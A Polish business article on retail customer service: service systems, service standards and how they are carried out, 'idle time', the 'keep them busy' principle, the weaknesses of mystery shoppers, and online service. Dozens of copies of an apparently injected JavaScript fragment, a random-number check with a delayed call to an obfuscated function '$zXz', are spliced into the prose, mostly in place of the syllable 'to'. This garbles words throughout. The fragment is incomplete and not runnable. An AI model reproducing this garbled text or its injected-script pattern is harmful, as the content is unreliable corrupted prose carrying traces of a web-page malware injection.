Są trzy podstawowe systemy obsługi sprzedaży. To samoobsługa, gdzie mówią półki i materiały POS, obsługa wspomagana, gdzie obsługa „leży i pachnie” czyli jest widoczna i czeka na klienta, oraz obsługa intensywna, gdzie się tego klienta aktywnie szuka.
Na system obsługi klienta, który jest integralnym i bardzo ważnym składnikiem Modelu Biznesowego nakłada się poziom taktyczny czyli standard tej obsługi. Standard nie jest już składnikiem Modelu, ale wciąż składnikiem Konceptu Sprzedażowego. To raczej doszczegółowienie, po jakim czasie należy podejść, o co zapytać i co, oraz jak polecić.
Zaś już ten standard podlega praktycznemu wykonaniu. To właśnie wykonanie decyduje czy będzie te 20% więcej czy nie. Bo o 80% zadecyduje standard. Zaś dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, gdzie tworzy się war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość w Modelu, decyduje wręcz system.
Ale i tych 20% szkoda. Jak więc doprowadzić do tego, że standard będzie wykonywany właściwie i przyniesie oczekiwany wzrost obrotów? Najlepszy sposób dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to system „keep them busy”, gdzie pracownicy mają cały czas zajęcie, choć nie zawsze jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zajęcie związane z obsługą klienta.
Idle time
Czyli najtrudniej się rozpędzić. Gdy już się jest rozpędzonym wszystko idzie szybciej i sprawniej. I jest jakby więcej czasu na wszystko.
Uwaga. „idle time”. Jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest, że w grudniu, gdy ruch w handlu jest czasem wręcz kilkukrotnie większy niż w zwykłe miesiące, załogi wprawdzie powiększone, ale przecież nie kilkukrotnie, dają radę. Oczywiście częściowo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zasługa zmniejszonych oczekiwań klientów, którzy akceptują kolejki. Ale przede wszystkim dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to efekt wyeliminowania tzw. idle time. Czyli czasu, gdzie się niczego nie robi, tylko oczekuje na pracę.
Jak działa „idle time”? Sekwencyjnie.
Najtrudniej się ruszyć. Jeśli niczego się akurat nie robi, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to żeby zacząć, trzeba się na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zdecydować. Może podejść do klienta? A może jeszcze nie? Może poczekać? I jak zacząć? Jeśli jest się zajętym, na takie dywagacje nie ma czasu. Trzeba pracować, a nie podejmować decyzje. Z tym zaś wiele osób ma problemy. I jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proces bardzo czasochłonny.
SOK
Czyli standard obsługi klienta. A także jego wykonanie w praktyce.
Miejsce obsługi. Przede wszystkim chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czy obsługiwać klienta w specjalnie do tego przys dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowanych miejscach, jak np. biurka, okienka, kasa czy specjalnie przys dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowane miejsca w postaci punktów INFO.
Uwaga. „infrastruktura sprzedażowa”. Obsługa powinna być wsparta odpowiednią infrastrukturą sprzedażową. Do składników tej infrastruktury należą materiały POS, w szczególności tablice kompetencyjne, ale też układ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru, jego dostępność, próbki czy wzory. Ważne jest też przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie miejsca obsługi, ale i wyposażenie go w odpowiednie narzędzia, katalogi, stronę interne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową.
Ważnym miejscem obsługi staje się strona interne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa firmy. To jak najbardziej miejsce obsługi, tak samo jak element infrastruktury wspierający sprzedaż w placówkach naziemnych.
Czas obsługi. Czyli jak szybko trzeba zacząć i ile trzeba jej poświęcić czasu. To bardzo ważna decyzja i warunkuje zarówno koszty (na poziomie zatrudnienia), jak i zapewnienie odpowiedniego wyposażenia, miejsca i swobody.
Uwaga. „obsługa angażuje zasoby”. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się rzadko liczy. W większości wymaga się bardziej intensywnej i skutecznej obsługi, a nie uwzględnia się faktu, że zabiera dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to więcej czasu (niż dotychczas). I skutek jest taki, że pracowników zaczyna brakować, zaś wyniki sprzedaży nie tylko się nie polepszają, ale wręcz mogą się pogorszyć.
Sposób obsługi. Tu już nie chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czy trzeba samemu poszukać klienta. Ta decyzja zapadła już wcześniej, na poziomie systemu obsługi. Tu chodzi przede wszystkim o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czy robić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tojąco, czy na siedząco.
Uwaga. „na s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tojąco czy na siedząco?”. To bardzo ważna decyzja, ważna nie tylko dla stworzenia odpowiedniej infrastruktury, co jest oczywiste, ale przede wszystkim dla jej skuteczności. Na siedząco znacznie wzrasta szansa na zakupy. Klienci sami dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czują, unikając zajęcia miejsca, co może zostać potrak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towane (także przez nich samych) jako zobowiązanie do zakupu.
Priorytety. To równie ważne jak miejsce czy sposób obsługi. Trzeba się zdecydować (i zakomunikować dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzedawcom) co jest najważniejsze.
Uwaga. „w priorytecie nie chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co jest ważne”. To łatwo zdecydować. Ważne jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co ważne nie jest, a przynajmniej jest znacznie mniej ważne, czyli co należy robić tylko wtedy, kiedy jest na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czas.
W ustalaniu priorytetów ważne są nie tyle słowa, co czyny. Sami menedżerowie przez swoje zachowanie wysyłają sygnał, co jest najważniejsze. Jeśli firma oficjalnie głosi, że najważniejsza jest obsługa, jednak przy każdej wizycie zaczyna od sprawdzania kurzu na podłodze, złożenia zamówień czy paczek na podłodze, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to te właśnie czynności staną się priorytetem. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niezależnie od oficjalnych dokumentów.
Wykonanie SOK
Oczywiście w praktyce i na co dzień. Chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jak szczytne i przemyślane założenia obsługi są wykonywane. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie ogólnie, tylko zawsze tu i teraz.
Uwaga. „tajemniczy klient”. Pomiar skuteczności wdrożenia SOK w praktyce zwykle kojarzy się z tzw. tajemniczym klientem. Czyli osobą, która anonimowo odwiedza placówki i porównuje zachowanie w nich ze standardem. Już z założenia ta me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toda ma poważne luki w pomiarze. Z założenia bowiem „próbkuje”. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, ze względu na koszty, próbkuje „rzadko”. Co z założenia zaprzecza jest statystyczności. Czy jest alternatywa dla tajemniczego klienta? Jak najbardziej. To magiczna formuła sprzedaży, a przede wszystkim zmiana jej parametrów, w szczególności konwersji.
A co, jeśli jakaś firma zainwes dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towałaby duże środki w tajemniczego klienta i próbkowanie faktycznie stałoby się statystyczne? Czy oddałoby wtedy faktyczne wykonanie SOK? Tak, co do zasady zmierzyłoby jego wdrożenie. To, czego jednak by nie zmierzyło, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to największa wada tej me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tego, o co w SOK chodzi najbardziej, czyli wpływu na sprzedaż. Przecież obsługa nie jest celem samym w sobie, tylko środkiem prowadzącym do celu, jakim jest sprzedaż. A w szczególności sterowanie tą sprzedażą, na poziomie wszystkich jej mierzalnych, ale przede wszystkim zarządzalnych składników.
Czekać na klienta?
Czy w systemie obsługi wspomaganej czy intensywnej zawsze się obsługuje? Nie zawsze, gdyż sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to usługa. A tej samej jej definicji nie można magazynować. Tymczasem bardzo by się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przydało, gdyż klienci przychodzą falami. I trzeba się do tego dopasować.
Uwaga. „klienci przychodzą falami”. Trudno dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyjaśnić, dlaczego, ale tak jest. Najpierw nikogo nie ma, a zaraz do kas ustawiają się kolejki o kilkanaście osób. To chyba efekt działania zasady „tłum robi tłum”. Jedna osoba zobaczy coś ciekawego, przystanie, a kolejne chcą zobaczyć, co też ona wypatrzyła. I tworzy się tłum. Jaka by jednak by dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie była przyczyna, trzeba sobie poradzić ze skutkiem. A ten jest taki, że raz jest za mało obsługi, a zaraz potem za dużo.
Jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest w Internecie?
Tam chyba jest łatwiej z zapewnieniem odpowiedniego poziomu obsługi? Klienci rzadko przychodzą falami, a jeśli nawet, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to da się nad nimi łatwo zapanować (dominuje model samoobsługi, gdzie idle time nie ma znaczenia).
W Internecie można obsługę magazynować. To jego unikalna cecha jako środowiska sprzedażowego.
Jak można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zrobić? Na wiele sposobów. Po pierwsze można wesprzeć obsługę intensywną samoobsługą (żeby zająć klienta, aż k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś będzie wolny), która będzie kolejkować klientów do obsługi intensywnej. Po drugie obsługą zarządza się tu centralnie, a nie lokalnie. Więc fluktuacje w zapotrzebowaniu na obsługę jest przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znacznie mniejsze, niż gdy trzeba się do tego dopasowywać lokalnie. No i praktycznie nie ma tu idle time. Także tu zarządza się centralnie zarówno zachowaniami, jak i wiedzą, co przyspiesza i ułatwia obsługę, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z kolei ma znaczenie dla jej kolejkowania.
Uwaga. „kolejkowanie”. Czyli ustawianie klientów w oczekiwaniu na obsługę. W świecie naziemnym dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyzwanie, gdyż klienci szybko się niecierpliwią. Można ich ewentualnie czymś zająć, czemu służą np. biurka czy punkty obsługi klienta.
Podsumowanie
Obsługa klienta ma prowadzić z jednej strony do wyróżnienia na rynku (wtedy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to złożenie, a następnie spełnienie obietnicy zawartej w Koncepcie Sprzedażowym). Z drugiej zaś ma umożliwić sterowanie klientem na poziomie zarządzania magiczną formułą sprzedaży.
O podstawowym poziomie sprzedaży decydują decyzje na poziomie systemu obsługi, a następnie jego standardu. Ale pewnie ok. 20% można dodatkowo „wycisnąć” z wykonania tego standardu w praktyce. Do tego celu najlepiej nadaje się zasada „keep them busy”. Pracownicy, którzy mają cały czas coś (sensownego) do wykonania pracują szybciej i lepiej niż ci, którzy z bezruchu muszą przejść w stan pełnego zaangażowania.